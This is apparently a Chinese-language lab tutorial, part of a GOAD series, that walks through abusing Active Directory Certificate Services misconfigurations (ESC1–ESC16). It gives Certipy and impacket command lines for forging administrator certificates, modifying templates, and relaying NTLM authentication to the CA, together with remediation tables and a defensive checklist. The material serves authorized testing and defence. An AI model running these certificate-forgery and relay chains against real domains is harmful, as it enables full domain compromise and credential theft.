GOAD 域渗透教程 5:ADCS 域提权——从 ESC1 到 ESC16
在 《GOAD 域渗透教程 4:NoPAC 利用与 CVE-2025-33073 SMB 反射提权》 里,我们已经把普通域用户一路打到了高权限。这一篇换个方向,不继续讲本地提权,而是回到域里一个非常经典、也非常容易被配错的组件:AD CS。
这东西平时看起来很安静,但一旦模板、CA 配置、Web Enrollment、RPC Enrollment 和证书映射策略凑到一起,低权限用户就有机会直接申请出一张“管理员证书”,再通过 PKINIT 换到管理员的 TGT。
系列进度: 第 5/6 篇|上一篇:NoPAC 利用与 CVE-2025-33073 SMB 反射提权|下一篇:MSSQL 枚举、模拟登录、Linked Server 与命令执行|系列起点:内网扫描、域控识别与初始域用户获取
实验范围: 文中的 CA、模板、账号和地址均来自 GOAD 隔离靶场;“可枚举”与“可利用”必须分别验证。
这篇文章会学到什么
- 在 GOAD 里怎么枚举 AD CS
- 哪些 ESC 在这套环境里能直接打通
- 哪些 ESC 只能枚举出来,实际利用时还差条件
- 最后应该怎么判断这套 CA 到底危险在哪
环境与验证范围
本文以拥有普通域用户的 GOAD 环境为起点。ESC1、ESC2、ESC3、ESC4、ESC6、ESC8、ESC9、ESC11 和 ESC15 在文中给出靶场验证结果;其余 ESC 用于说明检查条件、风险边界与修复方向。每条链路都应记录模板或 CA 名称、可利用主体、请求 ID、签发证书序列号和恢复后的配置状态。
以下命令只应在自己的实验环境或获得授权的评估环境中执行。示例中的域名、账号和地址均为靶场占位符。
AD CS 认证链与关键判断
一条常见的提权链路是:
1 | 低权限账号 -> 发现可申请的模板 -> 申请证书 -> PKINIT 获取 TGT -> |
证书能否用于域认证,重点看三件事:
- 模板是否允许当前用户(或其所在组)
Enroll。 - 模板是否包含
Client Authentication、PKINIT Client Authentication、Smart Card Logon、Any Purpose,或者没有 EKU(SubCA)。 - 证书中的身份是否能被域控映射到目标账号。2022 年以后要特别关注 SID security extension 和强证书映射策略,不能只盯着 UPN。本文截图使用 Certipy 5.x 时,会在需要映射到管理员的请求里显式加入
-sid S-1-5-21-2722828915-3828737216-794252622-500。
枚举 AD CS
Certipy(Kali)
1 | certipy-ad find -u khal.drogo@essos.local -p 'horse' -vulnerable -dc-ip 192.168.56.12 -stdout |
我这里的习惯是先看 Enrollment Rights、Client Authentication、Enrollee Supplies Subject、Manager Approval、Authorized Signatures、Web Enrollment 和 Request Disposition 这几项。
不要只盯着 Vulnerable: True,最好把模板和 CA 的关键属性重新过一遍,不然后面很容易打偏。

这套 GOAD 我最终枚举到的重点项有:
- 模板侧:
ESC1、ESC2、ESC3、ESC4、ESC9 - CA 侧:
ESC6、ESC8、ESC11 - 其他:
ESC15,另外 Certipy 还给出了ESC17
ESC 速查矩阵
| ESC | 本文验证状态 | 重点判断条件 | 修复重点 |
|---|---|---|---|
| ESC1 | 靶场已验证 | 低权限可注册、可控 SAN、可用于客户端认证 | 关闭任意 SAN,收紧 Enroll 与审批 |
| ESC2 | 靶场已验证 | Any Purpose、无 EKU 或可衔接 Enrollment Agent | 最小化 EKU 与注册权限 |
| ESC3 | 靶场已验证 | Enrollment Agent 与可代申请的目标模板 | 限制 Agent 模板、启用审批和授权签名 |
| ESC4 | 靶场已验证 | 对模板对象具有可写权限 | 收紧模板 ACL,记录并恢复配置 |
| ESC5 | 按权限面检查 | 对 PKI 对象具有可写或可控权限 | 审计 PKI 容器与高权限对象 ACL |
| ESC6 | 靶场已验证 | CA 允许请求者指定 SAN | 移除危险 EditFlags,审计已签发证书 |
| ESC7 | 未单独复现 | CA 管理或证书经理权限 | 最小化 CA 管理角色并审计变更 |
| ESC8 | 靶场已验证 | Web Enrollment 可被 NTLM Relay | 关闭不需要的 Web Enrollment,启用 HTTPS/EPA |
| ESC9 | 靶场已验证 | 模板关闭 SID security extension,且可与其他条件组合 | 恢复安全扩展和强映射 |
| ESC10 | 配置检查 | KDC 或 Schannel 使用弱证书映射 | 迁移至强映射并清理历史弱映射 |
| ESC11 | 靶场已验证 | RPC Enrollment 可被 NTLM Relay | 启用 RPC 加密、限制 NTLM 与请求接口 |
| ESC12 | 风险说明 | CA 私钥保护或备份不足 | 使用 HSM/不可导出密钥并保护备份 |
| ESC13 | 风险说明 | Issuance Policy OID 映射到高权限组 | 审计 OID 映射与模板策略 |
| ESC14 | 风险说明 | 可写 altSecurityIdentities |
收紧对象 ACL,使用 SID 强映射 |
| ESC15 | 靶场已验证 | 请求者可注入 Application Policy | 固定策略来源,升级并审计 CA |
| ESC16 | 靶场未出现 | CA 全局禁用 SID security extension | 恢复扩展、启用强映射并审计历史证书 |
模板与权限路径
ESC1:模板允许请求者指定 SAN
先从最经典的 ESC1 开始。这个模板允许低权限用户注册,不需要审批,也不需要授权签名,同时还允许请求者自己指定 subject/SAN。这样一来,我们就可以直接把 administrator@essos.local 写进证书里。
1 | certipy-ad req -u khal.drogo@essos.local -p 'horse' -ca ESSOS-CA \ |

随后
1 | certipy-ad auth -pfx esc1_admin.pfx -dc-ip 192.168.56.12 \ |

ESC2:Any Purpose 或无 EKU 模板
ESC2 的关键点是模板用途太宽,或者干脆就是 Any Purpose。这种证书本来不该随便发,但一旦低权限用户能申请,后面很容易继续套别的链子。
这套 GOAD 里更夸张一点,ESC2 还顺手带了 Enrollment Agent 能力。所以这里我没有绕弯,直接这样打:
1 | certipy-ad req -u khal.drogo@essos.local -p 'horse' -ca ESSOS-CA \ |

这里要看的不是模板名字,而是这张证书到底有没有被拿去做 on-behalf-of 的能力。只要这一步成立,后面就能继续往管理员证书上走。
ESC3:Enrollment Agent 代表他人申请
ESC3 就更直接了:先拿一张 Enrollment Agent 证书,再代替别的用户申请证书。只要高权限模板没有做额外限制,这条链一般都很好用。
1 | certipy-ad req -u khal.drogo@essos.local -p 'horse' -ca ESSOS-CA \ |

应限制 Enrollment Agent 模板的注册权限,并为高权限模板启用授权签名和审批。
ESC4:可写的证书模板对象
ESC4 的意思不是模板一开始就危险,而是你有权限把它改危险。这类场景我一般会先备份,再改模板,打完以后再恢复。
1 | certipy-ad template -u khal.drogo@essos.local -p 'horse' \ |

这一步一定要记得把模板恢复回去,不然文章是写完了,靶场环境也被你改脏了。
ESC5:PKI 对象的可写权限
ESC5 这类问题更偏权限面,不一定像前面几条一样一条命令就出结果。重点是去看 PKI 相关对象谁能写。
这类问题建议用 BloodHound 查看 GenericWrite、WriteDacl、WriteOwner 和 AddMember,不要只依赖模板枚举结果。
ESC15:证书模板允许注入 Application Policy
ESC15 是新一点的玩法。简单说就是模板把 Application Policy 也放给申请者控制了。
我一开始只往 WebServer 模板里塞 Client Authentication,证书确实签出来了,但直接 auth 会报:
1 | Certificate is not valid for client authentication |
看证书以后就明白了:这张证书的 EKU 还是 TLS Web Server Authentication,不能直接拿去 PKINIT。正确打法不是直接登录,而是把它变成一张 Certificate Request Agent 证书,再用 on-behalf-of 代管理员申请 User 证书。
1 | certipy-ad req -u khal.drogo@essos.local -p 'horse' -ca ESSOS-CA \ |

这里的关键点是 1.3.6.1.4.1.311.20.2.1,也就是 Certificate Request Agent。第一张证书不负责登录,只负责“替别人申请”;第二张 User 证书才拿去做 PKINIT。
修复模板中的策略来源,避免把应用策略交给申请者,同时升级并审计 CA 服务器。
CA 配置与身份映射
ESC6:CA 开启 EDITF_ATTRIBUTESUBJECTALTNAME2
ESC6 是 CA 级别的问题。就算模板自己不让你填 subject,只要 CA 开了 EDITF_ATTRIBUTESUBJECTALTNAME2,你还是能把 SAN 塞进去。
1 | certipy-ad req -u khal.drogo@essos.local -p 'horse' -ca ESSOS-CA \ |

这里能打通的关键点很简单:User 模板本身不让自定义 subject,但 CA 全局允许 User Specified SAN,所以我还是能把 administrator@essos.local 写进去。
修复是移除该 EditFlags,并审查已经签发的可疑证书。注意,单独关闭 ESC6 不等于解决 ESC9/ESC16,它们位于不同配置层。
ESC7:CA 管理权限和证书经理权限
ESC7 我这次没有单独展开打,因为它更像是前置权限。拿到 ManageCA 或 ManageCertificates 之后,通常还是要配合模板或 CA 配置继续往下走。
1 | Certify.exe enum-cas --hide-admins |
CA 管理角色应只授予 PKI 管理员,所有配置变更和挂起请求都需要审计。
HTTP 与 RPC Enrollment 中继路径
ESC8:HTTP Web Enrollment 的 NTLM Relay
ESC8 终于到了 relay。这里不再是低权限用户自己申请证书,而是想办法把受害机器的 NTLM 认证中继到 /certsrv/,让 CA 代它签一张证书。
1 | impacket-ntlmrelayx -t 'http://192.168.56.23/certsrv/certfnsh.asp' \ |

我这里直接用本地管理员 vagrant / vagrant 去触发 PetitPotam,把 MEEREEN$ 的 NTLM 认证打到 Kali,再中继到 BRAAVOS 的 /certsrv/。最后成功拿到 MEEREEN$ 的证书,接着换出了 TGT 和机器账户 hash。
该链路真正的目标不是“拿到一个 NTLM 哈希”,而是让中继身份完成证书注册。修复优先级:关闭不需要的 Web Enrollment,启用 HTTPS、EPA,禁用 NTLM,并限制出站认证。
ESC11:ICertPassage RPC 接口允许 NTLM Relay
ESC11 和 ESC8 很像,只不过这次走的不是 HTTP,而是 RPC 的 ICPR/ICertPassage。思路还是一样:先强制认证,再做 relay。
我一开始这里失败过一次,原因也很典型:中继的是域控机器账号 MEEREEN$,但我用了 Machine 模板,CA 直接返回 CERTSRV_E_TEMPLATE_DENIED。RPC relay 没问题,错在模板选错了。
把模板换成 DomainController 后就能签出来:
1 | impacket-ntlmrelayx -t rpc://192.168.56.23 \ |

这里最终拿到的是 MEEREEN$ 的证书,然后通过 PKINIT 换出机器账号 TGT 和 hash。
所以排查 ESC11 失败时,不要只看 relay 有没有成功,还要看被中继身份应该申请哪个模板。域控机器账号优先试 DomainController,普通成员机再看 Machine。
优先启用 RPC 请求加密和限制,无法兼容旧客户端时再评估是否关闭 RPC enrollment。
CA 配置、密钥与身份映射
ESC9:模板关闭安全扩展
ESC9 的问题在于模板故意不带 SID security extension。单独看它不一定立刻能打,但和 ESC6 这种 CA 级别的 SAN 可控问题组合起来,效果就很明显。
这套 GOAD 里就是很典型的 ESC9 + ESC6 组合:模板 ESC9 本身关闭了安全扩展,CA 又允许我自带 SAN,所以可以直接给管理员申请一张证书。
1 | certipy-ad req -u khal.drogo@essos.local -p 'horse' -ca ESSOS-CA \ |

ESC10:弱证书映射配置
ESC10 更多是映射策略的问题。你拿到证书以后能不能真的映射到目标账号,最后还得看 KDC 和证书映射策略怎么配。
1 | reg query HKLM\SYSTEM\CurrentControlSet\Services\Kdc /v StrongCertificateBindingEnforcement |
修复时使用强映射、补齐 SID security extension,并清理历史弱映射。
ESC12:CA 私钥保护不足
ESC12 这类问题就不是改模板了,而是直接盯 CA 私钥。只要 CA 私钥丢了,前面那些申请流程都不重要了。
CA 私钥应使用 HSM 或不可导出的密钥存储,并严格保护 CA 主机、备份和恢复介质。发现泄露时必须吊销并重新生成 CA,而不是只删除一张恶意证书。
ESC13:Issuance Policy 映射到高权限组
ESC13 比较吃环境。重点不是背 PoC,而是去看这套域里有没有真的把某个 issuance policy OID 映射到高权限组。
枚举时重点检查模板的 Certificate Issuance Policies,并确认策略 OID 在 AD 中映射到了哪些组。
ESC14:显式证书映射(altSecurityIdentities)
ESC14 就是大家经常提到的显式映射。只要你能改 altSecurityIdentities,很多时候就可以直接把证书绑到目标账号身上。
审计 altSecurityIdentities 的写权限和现有映射,优先使用基于 SID 的强映射,禁止普通用户写入高权限对象。
ESC16:CA 全局禁用 SID security extension
ESC16 与 ESC9 的原理相同,但影响范围更大:不是某一个模板缺少 SID security extension,而是 CA 对所有签发证书禁用了 1.3.6.1.4.1.311.25.2 扩展。SpecterOps 的 Certify 文档明确指出,ESC16 会影响该 CA 签发的全部证书。
1 | Certify.exe enum-cas --hide-admins |
如果输出中出现:
1 | Disabled Extensions : <unknown> (1.3.6.1.4.1.311.25.2) |
就需要把它当作 CA 级别的问题处理,而不是只修一个模板。恢复安全扩展、启用强证书映射,并检查历史签发证书和映射对象。
这套 GOAD 当前没有直接给出 ESC16,所以这里我就不硬凑一条不存在的利用链了。到这里其实也能看出来:同样是 ADCS 靶场,真正能打通的链子还是得看当前运行配置。
一套实际的排查顺序
最后把我自己在靶场里常用的一套排查顺序留一下:
1 | # 1. 枚举 CA、模板和漏洞 |
最终报告至少应包含:模板和 CA 的 DN、危险属性、可利用主体、申请日志中的 Request ID、签发证书序列号,以及恢复配置后的验证结果。只截图 Vulnerable: True,对修复没有太大帮助。
防守侧的检查清单
- 删除不再使用的模板,
Enroll只授予必要的组。 - 所有客户端认证模板关闭任意 SAN,开启审批或授权签名。
- 收紧模板、CA、PKI 容器和
altSecurityIdentities的写权限。 - 关闭不需要的 Web Enrollment;启用 HTTPS、EPA、RPC 加密,减少 NTLM。
- 启用 SID security extension 和强证书映射,完成 KB5014754 相关迁移。
- CA 私钥使用 HSM 或不可导出存储,保护备份与恢复介质。
- 监控异常证书申请、短时间大量 Request、管理员 UPN/SID、Enrollment Agent 和 CA 配置变更。
常见问题
certipy find 显示漏洞,是否代表一定可利用?
不代表。还必须验证当前主体的 Enroll 或对象写权限、模板 EKU/SAN/审批条件、CA 配置、证书映射策略,以及最终是否能用证书完成预期认证。
ESC1、ESC6 与 ESC8 的差别是什么?
ESC1 主要来自模板允许用户指定身份;ESC6 是 CA 全局允许指定 SAN;ESC8 则依赖 Web Enrollment 与 NTLM Relay。它们的触发层、前提和修复措施不同,不能只按“能否申请证书”混为一谈。
如何确认 PKINIT 链路真正成立?
以实际签发证书、certipy-ad auth 的认证结果和目标身份权限为准,同时保留 Request ID、证书序列号与恢复配置后的复测结果。
本文小结
AD CS 这块最容易让人误判的地方,就是把“枚举到漏洞”直接等同于“马上能打通”。这两件事不是一回事。
在这套 GOAD 里,ESC1、ESC2、ESC3、ESC4、ESC6、ESC8、ESC9、ESC11、ESC15 我都打出了结果。ESC11 之前失败是模板选错,ESC15 之前失败是把第一张 WebServer 证书直接拿去登录了;把链路改对以后都能正常出 hash。
所以拿到一个普通域账号之后,别只跑一遍 certipy find 就收工。最好把模板、CA、接口、权限和最终认证结果串起来看,这样你才知道这套 AD CS 到底是真危险,还是只是“看起来危险”。
参考资料:
系列回顾
从 Part1 的初始信息收集 开始,可以按“资产与凭据 → 目录服务枚举 → 中继路径 → 基础提权 → AD CS”重走完整流程;如需复核前置权限与主机条件,可回看 Part4。





